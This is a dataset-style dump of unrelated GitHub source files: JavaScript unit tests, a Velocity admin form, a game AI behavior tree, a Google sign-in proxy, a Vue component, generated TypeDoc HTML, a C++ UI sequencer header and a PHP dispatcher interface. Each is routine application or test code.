data + " as " + type, function() { expect(platform.detect(platform.data[type][data])).toEqual(type); }); } } }; generateSpecsFor('Desktop Mac'); generateSpecsFor('Desktop Windows'); generateSpecsFor('Tablet iPad iOS'); generateSpecsFor('Phone iPhone iOS'); generateSpecsFor('Phone iPod iOS'); generateSpecsFor('Phone Linux Android'); generateSpecsFor('Phone BlackBerry'); }); describe("Ext.supports", function() { describe("OrientationChange", function() { it("should return true when supported", function() { expect(Ext.supports.OrientationChange).toBe((typeof window.orientation != 'undefined') && ('onorientationchange' in window)); }); }); describe("DeviceMotion", function() { it("should return true when supported", function() { expect(Ext.supports.DeviceMotion).toBe('ondevicemotion' in window); }); }); describe("Touch", function() { it("should return true when supported", function() { expect(Ext.supports.Touch).toBe(('ontouchstart' in window) && (!Ext.is.Desktop)); }); }); }); });
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html lang="en"> #parse("content/base/back/common/head.vm") <body style='overflow:scroll;overflow-x:hidden'> <div class="container bs-docs-container" style="width:100%;"> <div class="row"> <div class="panel panel-default"> <div class="panel-heading"> <button type="button" class="btn btn-default" id="formReturn" data-dismiss="modal" onclick="doUrl('$!{basePath}/weixin/back/weixinNewstemplate/list.do')"><span class="glyphicon glyphicon-circle-arrow-left"></span> 返回</button> </div> <div class="panel-body"> <form class="form-horizontal" role="form"> <fieldset disabled> <div class="form-group mno"> <label for="inputEmail3" class="col-sm-1 control-label" style="text-align:left;">素材名称</label> <div class="col-sm-2"> <input type="text" value="$!{weixinNewstemplate.templateName}" name="templateName" id="templateName" class="form-control" /> </div> </div> <div class="form-group mno"> <label for="inputEmail3" class="col-sm-1 control-label" style="text-align:left;">模板类型</label> <div class="col-sm-2"> <input type="text" value="$!{weixinNewstemplate.templateType}" name="templateType" id="templateType" class="form-control" /> </div> </div> <div class="form-group mno"> <label for="inputEmail3" class="col-sm-1 control-label" style="text-align:left;">公众号原始id</label> <div class="col-sm-2"> <input type="text" value="$!{weixinNewstemplate.jwid}" name="jwid" id="jwid" class="form-control" /> </div> </div> <div class="form-group mno"> <label for="inputEmail3" class="col-sm-1 control-label" style="text-align:left;">创建时间</label> <div class="col-sm-2"> <input type="text" value="$!dateTool.format("yyyy-MM-dd",$!{weixinNewstemplate.createTime})" name="createTime" id="createTime" class="form-control" /> </div> </div> <div class="form-group mno"> <label for="inputEmail3" class="col-sm-1 control-label" style="text-align:left;">修改人名称</label> <div class="col-sm-2"> <input type="text" value="$!dateTool.format("yyyy-MM-dd",$!{weixinNewstemplate.updateTime})" name="updateTime" id="updateTime" class="form-control" /> </div> </div> </fieldset> </form> </div> </div> </div> </div> </body> </html>
{ "pile_set_name": "Github" }
<!-- kv3 encoding:text:version{e21c7f3c-8a33-41c5-9977-a76d3a32aa0d} format:generic:version{7412167c-06e9-4698-aff2-e63eb59037e7} --> { type = "condition_is_empty" input = "PalaceExit1" negated = 1 child = { type = "decorator_run_once" max_attempts = 1 child = { type = "sequencer" children = [ { type = "action_move_to" destination = "palace_exit" movement_type = "BT_ACTION_MOVETO_RUN" route_type = "BT_ACTION_MOVETO_FASTEST_ROUTE" }, { type = "action_teleport" destination = "palace_exit" }, { type = "action_equip_weapon" weapon = "weapon_flashbang" }, { type = "action_look_at" input_angles = "-2.23 -166.56 0.00" }, { type = "decorator_wait_success" timeout = 20 child = { type = "action_compare_global_counter" input_name = "'ThrowPalaceFlash'" input_value = 0 } }, { type = "action_pull_trigger" }, { type = "action_wait" wait_time_min = 0.5 wait_time_max = 0.5 } ] } } }
{ "pile_set_name": "Github" }
//import GooglePlusProxy from "../browser/GooglePlusProxy" module.exports = function(messages){ function _isAvailable(success, error){ if (!window.__googleSdkReady) { return window.__googleCallbacks.push(function() { _isAvailable(success, error); }); } success(window.gapi !== undefined); } function _updateSigninStatus (isSignedIn, success, error) { if (isSignedIn) { var auth2 = gapi.auth2.getAuthInstance(); var user = auth2.currentUser.get(); if (!user) { error({'error': 'User not found.'}); return false; } var profile = user.getBasicProfile(); var authResponse = user.getAuthResponse(true); if (success) { success({ "accessToken": authResponse['access_token'], "expires": authResponse['expires_at'], "expires_in": authResponse['expires_in'], "idToken": authResponse['id_token'], "serverAuthCode": authResponse['server_auth_code'], "email": profile.getEmail(), "userId": profile.getId(), "displayName": profile.getName(), "familyName": profile.getFamilyName(), "givenName": profile.getGivenName(), "imageUrl": profile.getImageUrl() }); } } else { if (error) error({'error': 'User not logged in.'}); } } function _trySilentLogin (success, error, options) { if (!window.__googleSdkReady) { return window.__googleCallbacks.push(function() { _trySilentLogin(success, error, options); }); } _updateSigninStatus(gapi.auth2.getAuthInstance().isSignedIn.get(), success, error); } function _login (success, error, options) { var that = this; if (!window.__googleSdkReady) { return window.__googleCallbacks.push(function() { that.login(success, error, options); }); } gapi.auth2.getAuthInstance().signIn(options).then(function () { _updateSigninStatus(gapi.auth2.getAuthInstance().isSignedIn.get(), success, error); }, function(err) { error(err); }); } function _logout(success, error) { const self = this if (!window.__googleSdkReady) { return window.__googleCallbacks.push(function() { _.logout(success, error); }); } gapi.auth2.getAuthInstance().signOut().then(success, function(err) { error(err); }); } function _disconnect(success, error) { if (!window.__googleSdkReady) { return window.__googleCallbacks.push(function() { _disconnect(success, error); }); } gapi.auth2.getAuthInstance().disconnect().then(success, function(err) { error(err); }); } function _getSigningCertificateFingerprint (success, error) { console.warn('Not implemented.'); console.trace(); } return { GooglePlus: { isAvailable: function(success, error){ _isAvailable(success, error); }, updateSigninStatus: function (isSignedIn, success, error) { _updateSigninStatus(isSignedIn, success, error) }, trySilentLogin: function (success, error, options) { _trySilentLogin(success, error, options) }, login: function (success, error, options) { _login(success, error, options) }, logout: function (success, error) { _logout(success, error) }, disconnect: function (success, error) { _disconnect(success, error) }, getSigningCertificateFingerprint: function (success, error) { console.warn('Not implemented.'); console.trace(); } } } }
{ "pile_set_name": "Github" }
<template> <div class="package-card-buttons"> <!-- Messaging for weird cases... --> <div class="alert" v-if="downloadableUnsupported"> <p> <app-jolticon icon="notice" notice /> <translate>This package can not be installed on your system.</translate> </p> </div> <div class="alert" v-if="downloadableUnsupportedHasQuickPlay"> <p> <app-jolticon icon="notice" notice /> <translate> This package can not be installed on your system, but can be quick played in the client. </translate> </p> </div> <template v-if="localPackage"> <div class="alert alert-notice" v-if="localPackage.install_state === PatchState.DOWNLOAD_FAILED" > <p> <app-jolticon icon="notice" /> <translate> Oh no! We couldn't download this package. Perhaps check that you're still online? </translate> </p> </div> <div class="alert alert-notice" v-if="localPackage.install_state === PatchState.UNPACK_FAILED" > <p> <app-jolticon icon="notice" /> <translate> Oh no! We couldn't unpack this package after downloading it. Maybe try again? </translate> </p> </div> <div class="alert alert-notice" v-if="localPackage.remove_state === RemoveState.REMOVE_FAILED" > <p> <app-jolticon icon="notice" /> <translate>Oh no! We couldn't remove this package. Maybe try again?</translate> </p> </div> <div class="alert alert-highlight" v-if="localPackage.isRunning"> <p> <app-jolticon icon="play" /> <translate> You are currently running this package. Some options have been disabled while it's open. </translate> </p> </div> </template> <!-- Able to install game --> <app-button v-if="canInstall && !localPackage" primary icon="download-box" @click="installClick(card.downloadableBuild)" > <translate>Install</translate> <small>({{ card.downloadableBuild.primary_file.filesize | filesize }})</small> </app-button> <!-- Game is installing or installed --> <template v-if="localPackage"> <template v-if="localPackage.isPatching"> <app-expand :when="localPackage.isDownloading || localPackage.isUnpacking"> <div class="alert"> <app-client-install-progress :local-package="localPackage" /> </div> </app-expand> <template v-if="localPackage.isPatchQueued"> <span class="tag big"> <translate>QUEUED</translate> </span> </template> <template v-else> <app-button v-if="!localPackage.isPatchPaused" @click="pauseInstall()"> <translate>Pause</translate> </app-button> <app-button v-else primary @click="resumeInstall()"> <translate>Resume</translate> </app-button> </template> </template> <!-- Game failed to install --> <app-button v-if="localPackage.didInstallFail" primary @click="retryInstall()"> <translate>Retry Install</translate> </app-button> <!-- Game failed to update --> <app-button v-if="localPackage.didUpdateFail" primary @click="retryInstall()"> <translate>Retry Update</translate> </app-button> <!-- Game failed to uninstall --> <app-button v-if="localPackage.didRemoveFail" primary @click="retryUninstall()"> <translate>Retry Uninstall</translate> </app-button> <!-- Can only cancel installs, not updates. --> <app-button v-if="localPackage.install_state" circle icon="remove" trans @click="cancelInstall()" v-app-tooltip="$gettext('Cancel Installation')" /> <!-- Game is installed --> <app-button v-if="localPackage.isSettled && !localPackage.isRunning" primary solid icon="play" @click="launchPackage()" > <translate>Launch</translate> </app-button> </template> <!-- Browser quick play We hide this as soon as they install the game. --> <app-button v-else-if="card.browserBuild" primary icon="play" @click="buildClick(card.browserBuild)" > <translate>Quick Play</translate> <app-jolticon icon="addon" :class="`jolticon-${card.showcasedBrowserIcon}`" /> </app-button> <app-popper v-if="card.extraBuilds.length || (localPackage && !localPackage.install_state)" popover-class="fill-darkest" > <app-button circle icon="ellipsis-v" trans v-app-track-event="`game-package-card:more-options`" /> <div slot="popover"> <div v-if="localPackage && (card.browserBuild || localPackage.isSettled)" class="more-client-options list-group list-group-dark nowrap" > <template v-if="localPackage.isSettled"> <a class="list-group-item has-icon" @click="openFolder()"> <app-jolticon icon="folder-open" /> <span v-translate="{ title: localPackage.title || game.title }"> Open Folder for %{ title } </span> </a> <!-- In client, if a package is installed, allow them to remove. --> <a @click="uninstall()" :class="{ disabled: localPackage.isRunning }" class="list-group-item has-icon warning" > <app-jolticon icon="remove" notice /> <translate>Uninstall</translate> </a> </template> <!-- If this game has a quick play web build but is installed, we want to show the quick play here now. --> <template v-else-if="card.browserBuild"> <a @click="buildClick(card.browserBuild)" class="list-group-item has-icon warning"> <app-jolticon icon="html5" /> <translate>Quick Play</translate> <small class="text-muted"> ({{ card.browserBuild.primary_file.filesize | filesize }}) </small> </a> </template> </div> <!-- The non-client options. --> <app-game-package-card-more-options :card="card" @click="buildClick($event, true)" /> </div> </app-popper> </div> </template> <style lang="stylus" scoped> .more-client-options margin-bottom: 0 </style> <script lang="ts" src="./package-card-buttons"></script>
{ "pile_set_name": "Github" }
<!doctype html> <html class="default no-js"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>IEventEnterRescueZone | demofile</title> <meta name="description" content=""> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="../assets/css/main.css"> </head> <body> <header> <div class="tsd-page-toolbar"> <div class="container"> <div class="table-wrap"> <div class="table-cell" id="tsd-search" data-index="../assets/js/search.js" data-base=".."> <div class="field"> <label for="tsd-search-field" class="tsd-widget search no-caption">Search</label> <input id="tsd-search-field" type="text" /> </div> <ul class="results"> <li class="state loading">Preparing search index...</li> <li class="state failure">The search index is not available</li> </ul> <a href="../index.html" class="title">demofile</a> </div> <div class="table-cell" id="tsd-widgets"> <div id="tsd-filter"> <a href="#" class="tsd-widget options no-caption" data-toggle="options">Options</a> <div class="tsd-filter-group"> <div class="tsd-select" id="tsd-filter-visibility"> <span class="tsd-select-label">All</span> <ul class="tsd-select-list"> <li data-value="public">Public</li> <li data-value="protected">Public/Protected</li> <li data-value="private" class="selected">All</li> </ul> </div> <input type="checkbox" id="tsd-filter-inherited" checked /> <label class="tsd-widget" for="tsd-filter-inherited">Inherited</label> <input type="checkbox" id="tsd-filter-externals" checked /> <label class="tsd-widget" for="tsd-filter-externals">Externals</label> <input type="checkbox" id="tsd-filter-only-exported" /> <label class="tsd-widget" for="tsd-filter-only-exported">Only exported</label> </div> </div> <a href="#" class="tsd-widget menu no-caption" data-toggle="menu">Menu</a> </div> </div> </div> </div> <div class="tsd-page-title"> <div class="container"> <ul class="tsd-breadcrumb"> <li> <a href="../globals.html">Globals</a> </li> <li> <a href="../modules/_eventtypes_.html">&quot;eventtypes&quot;</a> </li> <li> <a href="_eventtypes_.ievententerrescuezone.html">IEventEnterRescueZone</a> </li> </ul> <h1>Interface IEventEnterRescueZone</h1> </div> </div> </header> <div class="container container-main"> <div class="row"> <div class="col-8 col-content"> <section class="tsd-panel tsd-hierarchy"> <h3>Hierarchy</h3> <ul class="tsd-hierarchy"> <li> <span class="target">IEventEnterRescueZone</span> </li> </ul> </section> <section class="tsd-panel-group tsd-index-group"> <h2>Index</h2> <section class="tsd-panel tsd-index-panel"> <div class="tsd-index-content"> <section class="tsd-index-section "> <h3>Properties</h3> <ul class="tsd-index-list"> <li class="tsd-kind-property tsd-parent-kind-interface"><a href="_eventtypes_.ievententerrescuezone.html#userid" class="tsd-kind-icon">userid</a></li> </ul> </section> </div> </section> </section> <section class="tsd-panel-group tsd-member-group "> <h2>Properties</h2> <section class="tsd-panel tsd-member tsd-kind-property tsd-parent-kind-interface"> <a name="userid" class="tsd-anchor"></a> <h3>userid</h3> <div class="tsd-signature tsd-kind-icon">userid<span class="tsd-signature-symbol">:</span> <span class="tsd-signature-type">number</span></div> <aside class="tsd-sources"> <ul> <li>Defined in <a href="https://github.com/saul/demofile/blob/c7e33a3/src/eventtypes.ts#L784">eventtypes.ts:784</a></li> </ul> </aside> </section> </section> </div> <div class="col-4 col-menu menu-sticky-wrap menu-highlight"> <nav class="tsd-navigation primary"> <ul> <li class="globals "> <a href="../globals.html"><em>Globals</em></a> </li> <li class="current tsd-kind-external-module"> <a href="../modules/_eventtypes_.html">"eventtypes"</a> <ul> <li class=" tsd-kind-module tsd-parent-kind-external-module tsd-is-not-exported"> <a href="../modules/_eventtypes_.___gameevents_.html">"./gameevents"</a> </li> </ul> </li> </ul> </nav> <nav class="tsd-navigation secondary menu-sticky"> <ul class="before-current"> </ul> <ul class="current"> <li class="current tsd-kind-interface tsd-parent-kind-external-module"> <a href="_eventtypes_.ievententerrescuezone.html" class="tsd-kind-icon">IEvent<wbr>Enter<wbr>Rescue<wbr>Zone</a> <ul> <li class=" tsd-kind-property tsd-parent-kind-interface"> <a href="_eventtypes_.ievententerrescuezone.html#userid" class="tsd-kind-icon">userid</a> </li> </ul> </li> </ul> <ul class="after-current"> </ul> </nav> </div> </div> </div> <footer class="with-border-bottom"> <div class="container"> <h2>Legend</h2> <div class="tsd-legend-group"> <ul class="tsd-legend"> <li class="tsd-kind-module"><span class="tsd-kind-icon">Module</span></li> <li class="tsd-kind-object-literal"><span class="tsd-kind-icon">Object literal</span></li> <li class="tsd-kind-variable"><span class="tsd-kind-icon">Variable</span></li> <li class="tsd-kind-function"><span class="tsd-kind-icon">Function</span></li> <li class="tsd-kind-function tsd-has-type-parameter"><span class="tsd-kind-icon">Function with type parameter</span></li> <li class="tsd-kind-index-signature"><span class="tsd-kind-icon">Index signature</span></li> <li class="tsd-kind-type-alias"><span class="tsd-kind-icon">Type alias</span></li> <li class="tsd-kind-type-alias tsd-has-type-parameter"><span class="tsd-kind-icon">Type alias with type parameter</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-enum"><span class="tsd-kind-icon">Enumeration</span></li> <li class="tsd-kind-enum-member"><span class="tsd-kind-icon">Enumeration member</span></li> <li class="tsd-kind-property tsd-parent-kind-enum"><span class="tsd-kind-icon">Property</span></li> <li class="tsd-kind-method tsd-parent-kind-enum"><span class="tsd-kind-icon">Method</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-interface"><span class="tsd-kind-icon">Interface</span></li> <li class="tsd-kind-interface tsd-has-type-parameter"><span class="tsd-kind-icon">Interface with type parameter</span></li> <li class="tsd-kind-constructor tsd-parent-kind-interface"><span class="tsd-kind-icon">Constructor</span></li> <li class="tsd-kind-property tsd-parent-kind-interface"><span class="tsd-kind-icon">Property</span></li> <li class="tsd-kind-method tsd-parent-kind-interface"><span class="tsd-kind-icon">Method</span></li> <li class="tsd-kind-index-signature tsd-parent-kind-interface"><span class="tsd-kind-icon">Index signature</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-class"><span class="tsd-kind-icon">Class</span></li> <li class="tsd-kind-class tsd-has-type-parameter"><span class="tsd-kind-icon">Class with type parameter</span></li> <li class="tsd-kind-constructor tsd-parent-kind-class"><span class="tsd-kind-icon">Constructor</span></li> <li class="tsd-kind-property tsd-parent-kind-class"><span class="tsd-kind-icon">Property</span></li> <li class="tsd-kind-method tsd-parent-kind-class"><span class="tsd-kind-icon">Method</span></li> <li class="tsd-kind-accessor tsd-parent-kind-class"><span class="tsd-kind-icon">Accessor</span></li> <li class="tsd-kind-index-signature tsd-parent-kind-class"><span class="tsd-kind-icon">Index signature</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-constructor tsd-parent-kind-class tsd-is-inherited"><span class="tsd-kind-icon">Inherited constructor</span></li> <li class="tsd-kind-property tsd-parent-kind-class tsd-is-inherited"><span class="tsd-kind-icon">Inherited property</span></li> <li class="tsd-kind-method tsd-parent-kind-class tsd-is-inherited"><span class="tsd-kind-icon">Inherited method</span></li> <li class="tsd-kind-accessor tsd-parent-kind-class tsd-is-inherited"><span class="tsd-kind-icon">Inherited accessor</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-property tsd-parent-kind-class tsd-is-protected"><span class="tsd-kind-icon">Protected property</span></li> <li class="tsd-kind-method tsd-parent-kind-class tsd-is-protected"><span class="tsd-kind-icon">Protected method</span></li> <li class="tsd-kind-accessor tsd-parent-kind-class tsd-is-protected"><span class="tsd-kind-icon">Protected accessor</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-property tsd-parent-kind-class tsd-is-private"><span class="tsd-kind-icon">Private property</span></li> <li class="tsd-kind-method tsd-parent-kind-class tsd-is-private"><span class="tsd-kind-icon">Private method</span></li> <li class="tsd-kind-accessor tsd-parent-kind-class tsd-is-private"><span class="tsd-kind-icon">Private accessor</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-property tsd-parent-kind-class tsd-is-static"><span class="tsd-kind-icon">Static property</span></li> <li class="tsd-kind-call-signature tsd-parent-kind-class tsd-is-static"><span class="tsd-kind-icon">Static method</span></li> </ul> </div> </div> </footer> <div class="container tsd-generator"> <p>Generated using <a href="https://typedoc.org/" target="_blank">TypeDoc</a></p> </div> <div class="overlay"></div> <script src="../assets/js/main.js"></script> <script>if (location.protocol == 'file:') document.write('<script src="../assets/js/search.js"><' + '/script>');</script> </body> </html>
{ "pile_set_name": "Github" }
#pragma once class CUIWindow; class CUIStatic; class CUISequenceItem; class CUIXml; class CUISequencer :public pureFrame, public pureRender, public IInputReceiver { protected: CUIWindow* m_UIWindow; xr_deque<CUISequenceItem*>m_items; bool m_bActive; bool m_bPlayEachItem; bool GrabInput (); public: IInputReceiver* m_pStoredInputReceiver; CUISequencer (); void Start (LPCSTR tutor_name); void Stop (); void Next (); void Destroy (); //be careful virtual void OnFrame (); virtual void OnRender (); CUIWindow* MainWnd () {return m_UIWindow;} bool IsActive () {return m_bActive;} //IInputReceiver virtual void IR_OnMousePress (int btn); virtual void IR_OnMouseRelease (int btn); virtual void IR_OnMouseHold (int btn); virtual void IR_OnMouseMove (int x, int y); virtual void IR_OnMouseStop (int x, int y); virtual void IR_OnKeyboardPress (int dik); virtual void IR_OnKeyboardRelease(int dik); virtual void IR_OnKeyboardHold (int dik); virtual void IR_OnMouseWheel (int direction) ; virtual void IR_OnActivate (void); }; class CUISequenceItem { xr_vector<int> m_disabled_actions; protected: enum { etiNeedPauseOn = (1<<0), etiNeedPauseOff = (1<<1), etiStoredPauseState = (1<<2), etiCanBeStopped = (1<<3), etiGrabInput = (1<<4), etiNeedPauseSound = (1<<5), eti_last = 6 }; xr_vector<luabind::functor<void> > m_start_lua_functions; xr_vector<luabind::functor<void> > m_stop_lua_functions; Flags32 m_flags; CUISequencer* m_owner; public: CUISequenceItem (CUISequencer* owner):m_owner(owner){m_flags.zero();} virtual ~CUISequenceItem (){} virtual void Load (CUIXml* xml, int idx)=0; virtual void Start ()=0; virtual bool Stop (bool bForce=false)=0; virtual void Update ()=0; virtual void OnRender ()=0; virtual void OnKeyboardPress (int dik)=0; virtual bool IsPlaying ()=0; bool AllowKey (int dik); bool GrabInput (){return !!m_flags.test(etiGrabInput);} }; class CUISequenceSimpleItem: public CUISequenceItem { typedef CUISequenceItem inherited; struct SSubItem{ CUIStatic* m_wnd; float m_start; float m_length; bool m_visible; public: virtual void Start (); virtual void Stop (); }; DEFINE_VECTOR (SSubItem,SubItemVec,SubItemVecIt); SubItemVec m_subitems; public: CUIWindow* m_UIWindow; ref_sound m_sound; float m_time_start; float m_time_length; string64 m_pda_section; Fvector2 m_desired_cursor_pos; int m_continue_dik_guard; public: CUISequenceSimpleItem(CUISequencer* owner):CUISequenceItem(owner){} virtual ~CUISequenceSimpleItem(); virtual void Load (CUIXml* xml,int idx); virtual void Start (); virtual bool Stop (bool bForce=false); virtual void Update (); virtual void OnRender (){} virtual void OnKeyboardPress (int dik); virtual bool IsPlaying (); }; class CUISequenceVideoItem: public CUISequenceItem { typedef CUISequenceItem inherited; ref_sound m_sound[2]; FactoryPtr<IUISequenceVideoItem> m_texture; enum { etiPlaying = (1<<(eti_last+0)), etiNeedStart = (1<<(eti_last+1)), etiDelayed = (1<<(eti_last+2)), etiBackVisible = (1<<(eti_last+3)), }; float m_delay; CUIStatic* m_wnd; u32 m_time_start; u32 m_sync_time; public: CUISequenceVideoItem(CUISequencer* owner); virtual ~CUISequenceVideoItem(); virtual void Load (CUIXml* xml,int idx); virtual void Start (); virtual bool Stop (bool bForce=false); virtual void Update (); virtual void OnRender (); virtual void OnKeyboardPress (int dik){} virtual bool IsPlaying (); };
{ "pile_set_name": "Github" }
<?php namespace Phalcon { /** * Phalcon\DispatcherInterface initializer */ interface DispatcherInterface { /** * Sets the default action suffix * * @param string $actionSuffix */ public function setActionSuffix($actionSuffix); /** * Sets the default namespace * * @param string $namespace */ public function setDefaultNamespace($namespace); /** * Sets the default action name * * @param string $actionName */ public function setDefaultAction($actionName); /** * Sets the action name to be dispatched * * @param string $actionName */ public function setActionName($actionName); /** * Gets last dispatched action name * * @return string */ public function getActionName(); /** * Sets action params to be dispatched * * @param array $params */ public function setParams($params); /** * Gets action params * * @return array */ public function getParams(); /** * Set a param by its name or numeric index * * @param mixed $param * @param mixed $value */ public function setParam($param, $value); /** * Gets a param by its name or numeric index * * @param mixed $param * @param string|array $filters * @return mixed */ public function getParam($param, $filters=null); /** * Checks if the dispatch loop is finished or has more pendent controllers/tasks to disptach * * @return boolean */ public function isFinished(); /** * Returns value returned by the lastest dispatched action * * @return mixed */ public function getReturnedValue(); /** * Dispatches a handle action taking into account the routing parameters * * @return object */ public function dispatch(); /** * Forwards the execution flow to another controller/action * * @param array $forward */ public function forward($forward); /** * Forwards the execution flow to another controller/action * * @param array $forward */ public function camelizeNamespace($camelize); /** * Set error handler * * @param mixed $handler * @param int $exception_code * @return \Phalcon\DispatcherInterface */ public function setErrorHandler($callback, $exception_code=null); /** * Get error handler * * @param int $exception_code * @return mixed */ public function getErrorHandler($exception_code); } }
{ "pile_set_name": "Github" }
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>Destroyable unit test</title> <script src="boilerplate.js"></script> <script type="text/javascript"> require([ "doh/runner", "dojo/aspect", "dojo/_base/declare", "dojo/Deferred", "dojo/dom", "dojo/dom-construct", "dojo/_base/lang", "dojo/on", "dojo/Stateful", "dijit/Destroyable", "dojo/domReady!" ], function(doh, aspect, declare, Deferred, dom, domConstruct, lang, on, Stateful, Destroyable){ doh.register("Destroyable", [ function general(){ var SupportingWidget = declare([], { destroyCalls: 0, constructor: function(name){ this.name = name; }, destroy: function(){ this.destroyCalls++; } }); var watchMe = new Stateful({ name: "watchMe", x: 0 }); var DestroyableSubClass = declare(Destroyable, { // number of times my button was clicked clicks: 0, // number of times watchMe changed value of x watches: 0, constructor: function(){ var self = this; this.domNode = domConstruct.create("button"); this.own( // setup an event handler (to be destroyed when I'm destroyed) on(this.domNode, "click", function(){ self.clicks++; }), // watch external watchMe class (to be unwatch()'d when I'm destroyed) watchMe.watch("x", function(name, oVal, nVal){ self.watches++; }) ); // Setup two supporting widgets, to be destroyed when I'm destroyed this.own(this.sw1 = new SupportingWidget("sw1")); this.own(this.sw2 = new SupportingWidget("sw2")); } }); var destroyable1 = new DestroyableSubClass(); dom.byId("container").appendChild(destroyable1.domNode); // make sure event handler was setup destroyable1.domNode.click(); doh.is(1, destroyable1.clicks, "one click"); // make sure watch handler was setup watchMe.set("x", 1); doh.is(1, destroyable1.watches, "one watch notification"); // manually destroy one of the supporting widgets destroyable1.sw1.destroy(); doh.is(1, destroyable1.sw1.destroyCalls); // Destroy the Destroyable instance itself. destroyable1 should: // - destroy the sw2 supporting widget, but not try to re-destroy sw1 // - disconnect the watch() listener on watchMe // - disconnect the click event handler on destroyable1.domNode destroyable1.destroy(); doh.is(1, destroyable1.sw1.destroyCalls, "sw1 wasn't redestroyed"); doh.is(1, destroyable1.sw2.destroyCalls, "sw2 was destroyed"); destroyable1.domNode.click(); doh.is(1, destroyable1.clicks, "no new click notification"); watchMe.set("x", 2); doh.is(1, destroyable1.watches, "no new watch notification"); }, function multipleDestroyFunctions(){ var destroyRecursiveCount = 0; var destroyCount = 0; var W1 = declare([Destroyable], { destroyRecursive: function() { destroyRecursiveCount++; this.destroy(); this.inherited(arguments); }, destroy: function() { destroyCount++; this.inherited(arguments); } }); var W2 = declare([Destroyable], { test: function() { var w1 = new W1(); this.own(w1); w1.destroy(); }, destroy: function() { this.inherited(arguments); } }); var W3 = declare([Destroyable], { test: function() { var w1 = new W1(); this.own(w1); w1.destroyRecursive(); }, destroy: function() { this.inherited(arguments); } }); var w2 = new W2(); w2.test(); w2.destroy(); doh.is(0, destroyRecursiveCount, "destroyRecursive was not called as expected"); doh.is(1, destroyCount, "destroy was not called as expected"); destroyRecursiveCount = 0; destroyCount = 0; var w3 = new W3(); w3.test(); w3.destroy(); doh.is(1, destroyRecursiveCount, "destroyRecursive was not called as expected"); doh.is(1, destroyCount, "destroy was not called as expected"); }, function owningPromises(){ var cancels = 0; var W1 = declare(Destroyable, { constructor: function(){ this.p1 = new Deferred(function(){ console.log("cancel p1"); cancels++; }); this.p2 = new Deferred(function(){ console.log("cancel p2"); cancels++; }); this.p3 = new Deferred(function(){ console.log("cancel p3"); cancels++; }); this.p4 = new Deferred(function(){ console.log("cancel p4"); cancels++; }); this.own(this.p1, this.p2, this.p3, this.p4); } }); var w1 = new W1(); w1.p1.resolve(true); aspect.after(w1.p1, "cancel", function(){ throw new Error("p1 shouldn't have been canceled"); }, true); w1.p2.reject(new Error("I was rejected")); aspect.after(w1.p2, "cancel", function(){ throw new Error("p2 shouldn't have been canceled"); }, true); w1.p3.cancel(); doh.is(1, cancels, "one promise canceled manually before destroy"); // Destroying the widget should only cancel p4; it's the only Promise that hasn't been dealt with already. // OTOH if Destroyable is broken, one of the asserts above may go off during the destroy() call. w1.destroy(); doh.is(2, cancels, "only p4 canceled on widget destroy"); } ]); // doh.register() doh.run(); }); // require() </script> </head> <body> <h1>dijit/Destroyable Unit Test</h1> <div id="container"></div> </body> </html>
{ "pile_set_name": "Github" }
<html> <head><title>Minified Web Test: {{file}}</title> <style type="text/css"> body { font: 20px/1.5 "Helvetica Neue", Helvetica, Arial, sans-serif; } #pageContainer { margin: 0.5em; } h1, h2, h3, h4 { font-weight: 200; } #container, #container2, #cloneTest { display: none; } .x { margin-top: 2px; } /* required for testing computed css in minified-web-getset-test.js */ .hidden { display: none; } /* required for testing show() */ </style> <link rel="stylesheet" href="mocha.css" /> <script id="minifiedTemplate" type="minified-template">{{'{'+'{a}'+'}'}}</script> <script type="text/javascript" src="sparkplug.js"></script> <script type="text/javascript"> var q = window.location.search, undefined; var isLegacyIE = (!!document.all && ![].map); // remove non-ie versions on old ie function fail(text) { var e = new Error(text); if (window.console) console.log(e.stack); throw e; } function check(value, expected, extraMsg) { var undefined; if (expected === undefined) { if (!value) { if (window.console) console.log("Check for true failed, given:", value, extraMsg?extraMsg:''); fail("Value '"+value+"' is not true. " + (extraMsg?extraMsg:'')); } } else if (value != expected) { if (window.console) { console.log("Check failed, given:", value, " expected:", expected, extraMsg?extraMsg:''); if (typeof value == 'string' && typeof expected == 'string' && value.length+expected.length > 15) { for (var i = 0; i<value.length && i<expected.length; i++) if (value.charAt(i) != expected.charAt(i)) { console.log("Diff at ", i, ": '", value.charAt(i), "' != '", expected.charAt(i) + "'") break; } } } fail("Value '"+value+"' given, but expected '"+expected+"'. " + (extraMsg?extraMsg:'')); } } function contains(list, value, checkIdentity, extraMsg) { for (var i = 0; i < list.length; i++) if (list[i] === value || (!checkIdentity && list[i] == value)) return true; fail("Can not find '"+value+"' in list. " + extraMsg?extraMsg:''); } function containsAll(list, expectedValueList, checkIdentity, extraMsg) { check(list.length, expectedValueList.length, 'Testing for array length' + (extraMsg?(': '+extraMsg):'')); for (var i = 0; i < expectedValueList.length; i++) contains(list, expectedValueList[i], checkIdentity, 'Checked index='+i+'.' + (extraMsg?(': '+extraMsg):'')); } function forward() { if (/forward/.test(q) && (isLegacyIE ? '{{nextFileLegacy}}' : '{{nextFile}}')) document.location.href = isLegacyIE ? '{{nextFileLegacy}}' : '{{nextFile}}'; } </script> <script type="text/javascript" src="{{file}}"></script> <script src="mocha.js"></script> <script> var MINI = require('minified'), $ = MINI.$, $$=MINI.$$, EE = MINI.EE, HTML = MINI.HTML; var _ = MINI._; var isPhantomJS = /PhantomJS/.test(navigator.userAgent); mocha.setup('bdd'); </script> <script src="minified-web-selector-test.js"></script> <script src="minified-web-element-test.js"></script> <script src="minified-web-class-test.js"></script> <script src="minified-web-misc-test.js"></script> <script src="minified-web-event-test.js"></script> <script src="minified-web-forms-test.js"></script> <script src="minified-web-getset-test.js"></script> <script src="minified-web-json-test.js"></script> <script src="minified-web-lists-test.js"></script> <script src="minified-web-toggle-test.js"></script> <script src="minified-web-promises-test.js"></script> </head> <body> <div 